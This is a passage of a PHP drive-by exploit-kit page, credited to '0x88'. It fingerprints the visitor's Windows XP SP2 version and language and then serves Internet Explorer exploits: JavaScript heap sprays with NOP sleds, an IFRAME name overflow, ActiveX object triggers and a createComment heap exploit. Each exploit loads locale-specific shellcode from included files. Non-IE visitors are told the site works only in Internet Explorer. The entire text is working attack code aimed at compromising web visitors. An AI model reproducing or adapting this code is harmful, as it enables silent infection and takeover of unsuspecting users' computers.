                                                            include( "shellcodes/XP-EN-0x77F60000/xp_sc_utf16.txt" );
                                                            echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<750;i++) memory[i] = Bl + shellcode;location.reload();</SCRIPT>\r\n<IFRAME SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBB NAME=\"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC&#3341;&#3341;\"></IFRAME><SCRIPT language=\"javascript\">shellcode = unescape(\"%u4343\"+\"%u4343\"+\"";
                                                            include( "shellcodes/XP-EN-0x77F60000/xp_sc_utf16.txt" );
                                                            echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<750;i++) memory[i] = Bl + shellcode;</SCRIPT>\r\n<object classid=\"CLSID:3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5\"></object>\r\n<object classid=\"CLSID:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F\"></object><SCRIPT id=\"Hwu\" language=\"javascript\">hp_spr = unescape(\"%u0D0D%u0D0D\"); iHpdwu= 0x88; szHiql = 0x900000;for (i=0; i<7; i++) hp_spr += hp_spr;try { exploit(opener.document.createComment(hp_spr));} catch(e) {window.open(document.location.href);}function exploit(parent_element) {\r\nopener.focus();window.moveTo(100000, 100000);iHp_addr = 0x12000000;sHp_raddr = unescape(\"%u0D0D%u0D0D\");sSh = unescape(\"%u3737%u3737\" + \"";
                                                            include( "shellcodes/XP-EN-0x77F60000/xp_sc_utf16.txt" );
                                                            echo "\");iHp_hSaz = 0x38;\r\nszHiql = 0x800000;iHp_bSaz = 0x400000;iSh_Sz = sSh.length * 2;iNo_Sz = iHp_bSaz - (iHp_hSaz + iSh_Sz);\r\nsNopslide = sHp_raddr;Ox88 = 0x88;\r\nwhile (sNopslide.length*2<iNo_Sz) sNopslide+=sNopslide;\r\nsNopslide = sNopslide.substring(0, iNo_Sz/2);iHeap_block_count = (iHp_addr-0x400000) / iHp_bSaz;\r\nmemory = new Array();for (i=0;i<iHeap_block_count;i++) memory[i] = sNopslide + sSh;\r\nhp_spr = sNopslide.substring(0, 0x100);for(i=0;i<1024;i++) try {parent_element.appendChild(document.createComment(hp_spr));} catch (e) { }}</SCRIPT><SCRIPT language=\"javascript\">shellcode = unescape(\"%u4343\"+\"%u4343\"+\"";
                                                            include( "shellcodes/XP-EN-0x77F60000/xp_sc_utf16.txt" );
                                                            echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<700;i++) memory[i] = Bl + shellcode;location.reload();</SCRIPT>";
                                                        }
                                                        else
                                                        {
                                                            if ( $os == "Windows XP SP2" && $Lru !== false )
                                                            {
                                                                echo "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\r\n<title></title></head><body bgcolor=snow><script language=\"javascript\">shellcode = unescape(\"";
                                                                include( "shellcodes/XP-RU-0x7C800000/xp-ru_sc_utf16.txt" );
                                                                echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<750;i++) memory[i] = Bl + shellcode;location.reload();</SCRIPT>\r\n<IFRAME SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBB NAME=\"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC&#3341;&#3341;\"></IFRAME><SCRIPT language=\"javascript\">shellcode = unescape(\"%u4343\"+\"%u4343\"+\"";
                                                                include( "shellcodes/XP-RU-0x7C800000/xp-ru_sc_utf16.txt" );
                                                                echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<750;i++) memory[i] = Bl + shellcode;</SCRIPT>\r\n<object classid=\"CLSID:3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5\"></object>\r\n<object classid=\"CLSID:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F\"></object><SCRIPT id=\"Hwu\" language=\"javascript\">hp_spr = unescape(\"%u0D0D%u0D0D\"); iHpdwu= 0x88; szHiql = 0x900000;for (i=0; i<7; i++) hp_spr += hp_spr;try { exploit(opener.document.createComment(hp_spr));} catch(e) {window.open(document.location.href);}function exploit(parent_element) {\r\nopener.focus();window.moveTo(100000, 100000);iHp_addr = 0x12000000;sHp_raddr = unescape(\"%u0D0D%u0D0D\");sSh = unescape(\"%u3737%u3737\" + \"";
                                                                include( "shellcodes/XP-RU-0x7C800000/xp-ru_sc_utf16.txt" );
                                                                echo "\");iHp_hSaz = 0x38;\r\nszHiql = 0x800000;iHp_bSaz = 0x400000;iSh_Sz = sSh.length * 2;iNo_Sz = iHp_bSaz - (iHp_hSaz + iSh_Sz);\r\nsNopslide = sHp_raddr;Ox88 = 0x88;\r\nwhile (sNopslide.length*2<iNo_Sz) sNopslide+=sNopslide;\r\nsNopslide = sNopslide.substring(0, iNo_Sz/2);iHeap_block_count = (iHp_addr-0x400000) / iHp_bSaz;\r\nmemory = new Array();for (i=0;i<iHeap_block_count;i++) memory[i] = sNopslide + sSh;\r\nhp_spr = sNopslide.substring(0, 0x100);for(i=0;i<1024;i++) try {parent_element.appendChild(document.createComment(hp_spr));} catch (e) { }}</SCRIPT><SCRIPT language=\"javascript\">shellcode = unescape(\"%u4343\"+\"%u4343\"+\"";
                                                                include( "shellcodes/XP-RU-0x7C800000/xp-ru_sc_utf16.txt" );
                                                                echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<700;i++) memory[i] = Bl + shellcode;location.reload();</SCRIPT>";
                                                            }
                                                            else
                                                            {
                                                                if ( $os == "Windows XP SP2" && $Len !== false )
                                                                {
                                                                    echo "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\r\n<title></title></head><body bgcolor=snow><script language=\"javascript\">shellcode = unescape(\"";
                                                                    include( "shellcodes/XP-EN-0x77F60000/xp_sc_utf16.txt" );
                                                                    echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<750;i++) memory[i] = Bl + shellcode;location.reload();</SCRIPT>\r\n<IFRAME SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBB NAME=\"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC&#3341;&#3341;\"></IFRAME><SCRIPT language=\"javascript\">shellcode = unescape(\"%u4343\"+\"%u4343\"+\"";
                                                                    include( "shellcodes/XP-EN-0x77F60000/xp_sc_utf16.txt" );
                                                                    echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<750;i++) memory[i] = Bl + shellcode;</SCRIPT>\r\n<object classid=\"CLSID:3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5\"></object>\r\n<object classid=\"CLSID:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F\"></object><SCRIPT id=\"Hwu\" language=\"javascript\">hp_spr = unescape(\"%u0D0D%u0D0D\"); iHpdwu= 0x88; szHiql = 0x900000;for (i=0; i<7; i++) hp_spr += hp_spr;try { exploit(opener.document.createComment(hp_spr));} catch(e) {window.open(document.location.href);}function exploit(parent_element) {\r\nopener.focus();window.moveTo(100000, 100000);iHp_addr = 0x12000000;sHp_raddr = unescape(\"%u0D0D%u0D0D\");sSh = unescape(\"%u3737%u3737\" + \"";
                                                                    include( "shellcodes/XP-EN-0x77F60000/xp_sc_utf16.txt" );
                                                                    echo "\");iHp_hSaz = 0x38;\r\nszHiql = 0x800000;iHp_bSaz = 0x400000;iSh_Sz = sSh.length * 2;iNo_Sz = iHp_bSaz - (iHp_hSaz + iSh_Sz);\r\nsNopslide = sHp_raddr;Ox88 = 0x88;\r\nwhile (sNopslide.length*2<iNo_Sz) sNopslide+=sNopslide;\r\nsNopslide = sNopslide.substring(0, iNo_Sz/2);iHeap_block_count = (iHp_addr-0x400000) / iHp_bSaz;\r\nmemory = new Array();for (i=0;i<iHeap_block_count;i++) memory[i] = sNopslide + sSh;\r\nhp_spr = sNopslide.substring(0, 0x100);for(i=0;i<1024;i++) try {parent_element.appendChild(document.createComment(hp_spr));} catch (e) { }}</SCRIPT><SCRIPT language=\"javascript\">shellcode = unescape(\"%u4343\"+\"%u4343\"+\"";
                                                                    include( "shellcodes/XP-EN-0x77F60000/xp_sc_utf16.txt" );
                                                                    echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<700;i++) memory[i] = Bl + shellcode;location.reload();</SCRIPT>";
                                                                }
                                                                else
                                                                {
                                                                    echo "<html><body>";
                                                                }
                                                            }
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}
else
{
    echo "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\r\n<title></title></head><body bgcolor=snow><br><br><br><br><br><br><br><br><br><font size=5><center>You can turn in this site from under INTERNET EXPLORER only!</center></font>";
}
echo "<font color=snow size=5> Created by 0x88 (ICQ 92777755)</font>\r\n</body></html>";
?>
